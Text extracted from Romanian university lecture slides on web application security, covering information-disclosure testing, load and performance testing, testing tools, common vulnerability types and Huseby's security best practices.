Teste privind opacizarea datelor (obfuscation):Datele nu trebuie stocate in locatii predictibileContinutul propriu‐zis al sitului poate conduce la probleme de securitate (information disclosure)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
monitorizare & testareBrese referitoare la information disclosure:
Accesarea cimpurilor ascunse ale formularelorConsultarea fisierului robots.txt scanarea fisierelor de configurare sau a directoarelor temporare(e.g., rapoarte ale traficului)
Comentariile din codul‐sursa XHTML, CSS, JavaScriptMesajele de eroare emise de aplicatiile WebFisierele cu extensii incorecte
acces la codul‐sursa al script‐urilor de pe serverVizualizarea continutului directoarelor serveruluiScanarea traficului de retea (in primul rind, URI‐uri)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
monitorizare & testare
Teste specifice legate de exploatare:Pregatirea judicioasa a exploatarii in practica(deployment)
Detectarea problemelor de flux (e.g., tratareacorespunzatoare a codurilor HTTP 4xx si 5xx): legaturi “moarte”, acces la resurse autentificate, executia anormala a script‐urilor CGI
Testarea interactiunii cu aplicatia Webprograme simulind vizitatori virtuali
Realizarea testelor de incarcare (load testing)scenarii si interpretarea rezultatelor
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
monitorizare & testare
Teste referitoare la performanta:Platforma (hardware & software)
Configurare, upgrading, updating, UPS, RAID etc.Serverul Web – configurare, module, suport pentru utilizarea certificatelor digitale,...
Serverul de baze de dateNormalizare, integritate, implementarea celor maibune practici & standarde, strategii de conectivitate(e.g., ODBC, JDBC,...), monitorizarea volumului dedate, tranzactii, sincronizare, politica actualizarilor
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
monitorizare & testare
Teste referitoare la performanta:Documentele XML
Determinarea oportunitatii (re)folosirii XMLSabloane de proiectare (design patterns)ValidareaAlegerea metodelor de procesare (+optimizari)Filtrarea/transformarea(+optimizari XPath, XSL etc.)
Interogarea (+optimizari XQuery) Detectarea & prevenirea erorilorSecurizarea continutului
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
monitorizare & testare
Teste referitoare la performanta:Serviciile Web
Testarea functionalitatii – via un client simplu, lansat manual sau automat
Verificarea/validarea raspunsului furnizatTestarea mesajelor SOAP (e.g., via SOAPTest)Probleme specifice: prezenta intermediarilor, rutarea mesajelor SOAP prin domenii de securitate diferite, necesitatea utilizariicertificatelor digitale etc.
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
monitorizare & testare
Instrumentele de stresare (stressing tools) pot dainformatii privitoare la:
performanta: timp de raspuns, timp de generare a continutului
scalabilitate: memorie ocupata, utilizarea discului, numarul inregistrarilor inserate, accesarea altortipuri de resurse,...
corectitudine: rapoarte privind functionarea eronataa unor componente
lacune de securitate
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
instrumente (exemple)
Firefox – poate avea instalate extensii de testare(WebDeveloper, Firebug, Selenium) sau pentru schimbarede proxy‐uri (FoxyProxy)
IEWatch& TamperIE – audit pentru MSIEBurp, Paros, WebScarab – suite de testare WebAppScan& WebInspect – scanare de vulnerabilitatiale aplicatiilor Web
OWASP – sit dedicat securitatii aplicatiilorWeb www.owasp.org
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
de retinut
Securitatea unei aplicatii Web:Trebuie sa ia in consideratie arhitectura, logica
(functionalitatea), codul‐sursa si continutul in ansambluNu vizeaza vulnerabilitatile sistemului de operare
ori ale programelor auxiliare
Vulnerabilitatile unui sit nu sint “celebre”si vor fi independente deseori de securitatea
sistemului pe care este exploatat situl
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
de retinut
Tipuri de vulnerabilitati specifice: Probleme de autentificareManagementul sesiunilorInjectarea de scripturi (XSS) ori comenzi SQL Expunerea (involuntara) a informatiilor delicate (information disclosure)
Accesul la codul‐sursa orila fisierele de configurare a aplicatiei Web
Managementul nesigur al configuratiei aplicatiei
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
de retinut
Principii de securitate a aplicatiilor WebSepararea serviciilor – masini diferite pentru server Web, server de aplicatii, de baze de date etc.
Limitarea privilegiilor – la nivel de sistem de fisiere, pentru baze de date, acordarea de permisiuniutilizatorilor sub care ruleaza aplicatiile –e.g., Apache, Tomcat, CGI‐uri etc.
Ascunderea secretelor (e.g., parole, SID‐uri,…)Utilizarea de biblioteci standard, actualizateMentinerea & studierea fisierelor de jurnalizareEfectuarea de teste si ajustari (Web tunning)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
de retinut
Reguli/bune practici (Sverre Huseby, 2004):Do not underestimate the power of the dark sideUse POST requests when actions have side effectsIn a server‐side context, there is no such thing as client‐side security
Always generate a new session ID once the user logs inNever pass detailed error messages to the clientIdentify every possible meta‐character to a subsystemWhen possible, pass data separate from control information
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
de retinut
Reguli/bune practici (Sverre Huseby, 2004):Do not blindly trust the API documentationIdentify all sources of input to the applicationWhen filtering data, use white‐listing rather than black‐listing
Create application‐level logsNever use client‐side scripts for securityPass as little internal state information as possible to the client
Do not assume that requests will come in a certain order
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
de retinut
Reguli/bune practici (Sverre Huseby, 2004):Filter all data before including them in a web page, no matter what the origin
Stick to existing cryptographic algorithms, do not create your own
Never store clear‐text passwordsAssume that server‐side code is available to attackersSecurity is not a product; it is a process
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
de retinut
Riscurile de securitate nu vizeaza numaiproprietarul sitului, ci si utilizatorul final
Disconforturi cauzate de un sit nesigur:financiare (pierdere de bani/informatii)de performanta (e.g., blocarea/incetinirea actiunilor)psihologice (insatisfactie)sociale (e.g., incapacitatea de munca, lipsa comunicarii cu partenerii de lucru etc.)
de timp (navigare greoaie, deturnare spre alt sit,...)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
Aspecte privind securitatea datelorAtacuri Web
Prevenirea & supravietuireaMonitorizarea & testarea
De retinut
rezumat
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
??